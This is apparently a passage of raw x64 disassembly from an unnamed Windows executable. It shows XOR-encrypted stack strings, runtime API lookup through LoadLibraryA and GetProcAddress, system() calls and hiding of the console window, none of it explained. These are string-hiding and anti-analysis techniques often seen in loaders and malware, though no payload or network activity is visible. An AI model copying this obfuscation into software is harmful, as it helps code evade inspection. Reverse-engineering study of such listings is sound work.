movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003ec00
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x14012e300]
mov qword [rdi + rax*8 + 0x12dcb0], rsi
mov qword [rdi + rax*8 + 0x12b6f0], r8
inc rax
mov qword [0x14012e300], rax
lea rdx, [rbp + 0x144]
mov rcx, qword [rbx]
call r8
movzx ebx, ax
lea rcx, [rbp + 0x2fc0]
call fcn.1400114f0
test bx, bx
js 0x14003ece0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14003eb50
lea rcx, [0x14010a4bc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x28d0]
call fcn.14000e470
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.14008a430
cmp byte [rbp + 0x3320], 0
movabs rsi, 0x30b70f22337000f5
movabs rdi, 0x6e5e413bb15f40b8
movabs r15, 0xe6dc6c05a439106a
jne 0x14003f6db
lea rax, [rbp + 0x28b0]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xf68], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xf70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf78], rax
movabs rax, 0xb292b5ed5ffc9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf80], rax
movabs rax, 0xeeb4c9ccf6419719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf88], rax
movabs rax, 0xf9f7bf4770d57818
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf90], rax
movabs rax, 0x6d4ed14401c62ac1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf98], rax
movabs rax, 0x1873a5372417d752
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfa0], rax
movabs rax, 0x9fdb5737c01c0151
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfa8], rax
movabs rax, 0xc53f2e480f179e00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfb0], rax
movabs rax, 0xb4a93577eb6f5d39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfb8], rax
movabs rax, 0xfdf6ebc07357fbe8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0x17d265b0ee8de58c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x73c6f16ca59a86a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0x60a3769940942f1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
movabs r12, 0xf27849aa1da26a9f
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3800], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3808], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3810], rax
movabs r13, 0x43dc604d5b126582
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3818], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3820], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3828], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3830], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3838], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3840], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3858], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3860], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3868], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3870], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3878], rax
vmovdqu ymm0, ymmword [rbp + 0xf60]
vpxor ymm1, ymm0, ymmword [rbp + 0x3800]
vmovdqa ymmword [rbp + 0xf60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf80]
vpxor ymm1, ymm0, ymmword [rbp + 0x3820]
vmovdqa ymmword [rbp + 0xf80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xfa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3840]
vmovdqa ymmword [rbp + 0xfa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3860]
vmovdqa ymmword [rbp + 0xfc0], ymm1
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x28b0]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0xf27849aa1dc20aff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x610], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x618], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x39d0], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x39d8], rax
movdqa xmm0, xmmword [rbp + 0x610]
pxor xmm0, xmmword [rbp + 0x39d0]
movdqa xmmword [rbp + 0x610], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x39c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x39c8], rax
movdqa xmm0, xmmword [rbp + 0x600]
pxor xmm0, xmmword [rbp + 0x39c0]
movdqa xmmword [rbp + 0x600], xmm0
lea rcx, [rbp + 0x26f0]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x5f0], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x5f8], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x39b0], rcx
movabs r14, 0x6e5e413bb15f40b8
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x39b8], rax
movdqa xmm0, xmmword [rbp + 0x5f0]
pxor xmm0, xmmword [rbp + 0x39b0]
movdqa xmmword [rbp + 0x5f0], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs r15, 0x6e5e413bb17f6082
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x39a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x39a8], rax
movdqa xmm0, xmmword [rbp + 0x5e0]
pxor xmm0, xmmword [rbp + 0x39a0]
movdqa xmmword [rbp + 0x5e0], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x2710]
call fcn.140011310
mov rbx, rax
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x760], rcx
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x768], rcx
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x770], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x37e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
movabs rcx, 0x33784aa4b1a80c89
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
vmovdqu ymm0, ymmword [rbp + 0x760]
vpxor ymm1, ymm0, ymmword [rbp + 0x37e0]
vmovdqa ymmword [rbp + 0x760], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3c78], rax
vmovdqa xmm0, xmmword [rbp + 0x5d0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3c70]
vmovdqa xmmword [rbp + 0x5d0], xmm0
movabs rax, 0x860b3cf83dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11e0], rax
movabs rax, 0x73f071bde2d1098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11e8], rax
movabs rax, 0x5716798491cc69e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11f0], rax
movabs rax, 0x63e60e243c7d29a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11f8], rax
movabs rax, 0x80a487de6dceae03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1200], rax
movabs rdx, 0xd68cf8ffcf72a52c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1208], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4040], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4048], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4050], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4058], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4060], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4068], rax
vmovdqu ymm0, ymmword [rbp + 0x11e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4040]
vmovdqa ymmword [rbp + 0x11e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1200]
vpxor xmm0, xmm0, xmmword [rbp + 0x4060]
vmovdqa xmmword [rbp + 0x1200], xmm0
lea r8, [0x14012a090]
lea rdx, [rbp + 0x11e0]
lea rcx, [rbp + 0x2730]
vzeroupper
call fcn.140042530
nop
lea r8, [rbp + 0x5d0]
mov rdx, rax
lea rcx, [rbp + 0x2750]
call fcn.140042690
nop
lea r8, [0x14012b4c8]
mov rdx, rax
lea rcx, [rbp + 0x2770]
call fcn.140042e40
nop
lea r8, [rbp + 0x760]
mov rdx, rax
lea rcx, [rbp + 0x2790]
call fcn.140042690
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x27b0]
call fcn.140042e20
nop
lea r8, [rbp + 0x5e0]
mov rdx, rax
lea rcx, [rbp + 0x27d0]
call fcn.140042690
nop
lea r8, [rbp + 0x2e10]
mov rdx, rax
lea rcx, [rbp + 0x27f0]
call fcn.140042e40
nop
lea r8, [rbp + 0x5f0]
mov rdx, rax
lea rcx, [rbp + 0x21b0]
call fcn.140042690
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2830]
call fcn.140042e20
nop
lea r8, [rbp + 0x600]
mov rdx, rax
lea rcx, [rbp + 0x2850]
call fcn.140042690
nop
lea r8, [rbp + 0x3328]
mov rdx, rax
lea rcx, [rbp + 0x2870]
call fcn.140042e40
nop
lea r8, [rbp + 0x610]
mov rdx, rax
lea rcx, [rbp + 0x2890]
call fcn.140042690
nop
mov rdx, rsi
mov rcx, rax
call fcn.140030f00
nop
lea rcx, [rbp + 0x2870]
call fcn.140007240
nop
lea rcx, [rbp + 0x2850]
call fcn.140007240
nop
lea rcx, [rbp + 0x2830]
call fcn.140007240
nop
lea rcx, [rbp + 0x21b0]
call fcn.140007240
nop
lea rcx, [rbp + 0x27f0]
call fcn.140007240
nop
lea rcx, [rbp + 0x27d0]
call fcn.140007240
nop
lea rcx, [rbp + 0x27b0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2790]
call fcn.140007240
nop
lea rcx, [rbp + 0x2770]
call fcn.140007240
nop
lea rcx, [rbp + 0x2750]
call fcn.140007240
nop
lea rcx, [rbp + 0x2730]
call fcn.140007240
nop
lea rcx, [rbp + 0x2710]
call fcn.140007240
nop
lea rcx, [rbp + 0x26f0]
call fcn.140007240
call fcn.140036660
mov ecx, 0x21d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x26d0]
call fcn.14000e470
mov rcx, rax
call fcn.140035e90
test al, al
je 0x1400401ee
lea rcx, [0x14010a4bc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x114], al
mov byte [rbp + 0x115], al
mov byte [rbp + 0x116], al
mov byte [rbp + 0x117], al
mov byte [rbp + 0x118], al
mov byte [rbp + 0x119], al
movabs rax, 0x932e22cd65e61ed1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a0], rax
movabs rax, 0x1a312c54c30f2cd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a8], rax
movabs rax, 0x5a0b25d4dcc74fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12b0], rax
movabs rax, 0x25ae151e357d0cf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12b8], rax
movabs rax, 0x80a487de6dabcd42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c0], rax
movabs rcx, 0xd68cf8ffcf72a52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x12c8], rax
movabs rsi, 0xf27849aa1da26a9f
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3e40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3e48], rax
movabs r15, 0x33784aa4b1a80c89
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3e50], rax
movabs r14, 0x43dc604d5b126582
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e58], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e60], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3e68], rax
vmovdqu ymm0, ymmword [rbp + 0x12a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e40]
vmovdqa ymmword [rbp + 0x12a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x12c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3e60]
vmovdqa xmmword [rbp + 0x12c0], xmm0
movabs rax, 0x96563c982ecc03e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
movabs rax, 0x6e5e413bb15f2cd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3990], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3998], rax
vmovdqa xmm0, xmmword [rbp + 0x620]
vpxor xmm0, xmm0, xmmword [rbp + 0x3990]
vmovdqa xmmword [rbp + 0x620], xmm0
lea rcx, [rbp + 0x620]
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x12a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012b3b0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
mov byte [rbp + 0x11a], al
mov byte [rbp + 0x11b], al
mov byte [rbp + 0x11c], al
movabs r12, 0x9d1b15c878fe50dc
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
movabs rax, 0x6e5e4148d63626d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3980], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3988], rax
movdqa xmm0, xmmword [rbp + 0x630]
pxor xmm0, xmmword [rbp + 0x3980]
movdqa xmmword [rbp + 0x630], xmm0
lea rax, [rbp + 0x630]
mov qword [rbp + 0x700], rax
xor r8d, r8d
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x1580]
call fcn.1400431d0
nop
lea rcx, [rbp + 0x1580]
call fcn.1400111d0
nop
lea rcx, [rbp + 0x1580]
call fcn.1400071e0
xor eax, eax
mov byte [rbp + 0x11d], al
mov byte [rbp + 0x11e], al
mov byte [rbp + 0x11f], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs r13, 0xb321d48d63626d6
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0x331f2cc79fdc65ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4280], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4288], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4290], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4298], rax
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x4280]
vmovdqa ymmword [rbp + 0x780], ymm1
lea rax, [rbp + 0x780]
mov qword [rbp + 0x6a0], rax
xor r8d, r8d
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x15a0]
vzeroupper
call fcn.1400431d0
nop
lea rcx, [rbp + 0x15a0]
call fcn.140010f20
movzx ebx, al
lea rcx, [rbp + 0x15a0]
call fcn.1400071e0
test bl, bl
jne 0x14003fe89
xor eax, eax
mov byte [rbp + 0x120], al
mov byte [rbp + 0x121], al
mov byte [rbp + 0x122], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x331f2cc79fdc65ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4260], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4268], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4270], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4278], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4260]
vmovdqa ymmword [rbp + 0x7a0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x29f0]
vzeroupper
call fcn.140041650
lea rcx, [rbp + 0x29f0]
call fcn.1400044c0
xor eax, eax
mov byte [rbp + 0x123], al
mov byte [rbp + 0x124], al
mov byte [rbp + 0x125], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xb2d1d48d63626d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x1d1d2dc5c3f765e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x43dc604d5b7503e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4240], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4250], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4258], rax
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4240]
vmovdqa ymmword [rbp + 0x7c0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x2af8]
vzeroupper
call fcn.140041650
lea rcx, [rbp + 0x2af8]
call fcn.1400044c0
xor eax, eax
mov byte [rbp + 0x126], al
mov byte [rbp + 0x127], al
mov byte [rbp + 0x128], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xf2c1d48d63626d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0x33782dc2d28669ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x45a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x45a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x45b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x45b8], rax
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x45a0]
vmovdqa ymmword [rbp + 0x7e0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x2c00]
vzeroupper
call fcn.140041650
lea rcx, [rbp + 0x2c00]
call fcn.1400044c0
xor eax, eax
mov byte [rbp + 0x129], al
mov byte [rbp + 0x12a], al
mov byte [rbp + 0x12b], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rax, 0x1b3d1d48d63626d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0x541e298adcc778fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x42a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x42a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x42b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x42b8], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x42a0]
vmovdqa ymmword [rbp + 0x800], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x2d08]
vzeroupper
call fcn.140041650
lea rcx, [rbp + 0x2d08]
call fcn.1400044c0
lea rcx, [0x14012a0b0]
call fcn.14000da00
xor eax, eax
mov byte [rbp + 0x12c], al
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], al
mov byte [rbp + 9], al
movabs rax, 0x931419d369cb04ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
movabs rax, 0x6e322d5f9f2d25c1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3970], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3978], rax
movdqa xmm0, xmmword [rbp + 0x640]
pxor xmm0, xmmword [rbp + 0x3970]
movdqa xmmword [rbp + 0x640], xmm0
lea rcx, [rbp + 0x640]
call fcn.140011700
mov qword [0x14012b628], rax
cmp qword [0x14012b620], 0
jne 0x140040095
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
movabs rax, 0xf27849d872d018da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3960], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3968], rax
movdqa xmm0, xmmword [rbp + 0x650]
pxor xmm0, xmmword [rbp + 0x3960]
movdqa xmmword [rbp + 0x650], xmm0
movabs rax, 0x872a69cf6ecd06dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rax, 0x227e2f4ee37f34cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
movabs rax, 0x54396ad6d4cc6de6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
movabs rax, 0x43dc604d5b7c0ce3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x37e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
vmovdqu ymm0, ymmword [rbp + 0x37e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x820]
vmovdqa ymmword [rbp + 0x820], ymm1
mov r9d, 0x40030
lea r8, [rbp + 0x650]
lea rdx, [rbp + 0x820]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
xor edx, edx
lea rcx, [0x140031060]
call fcn.140030d20
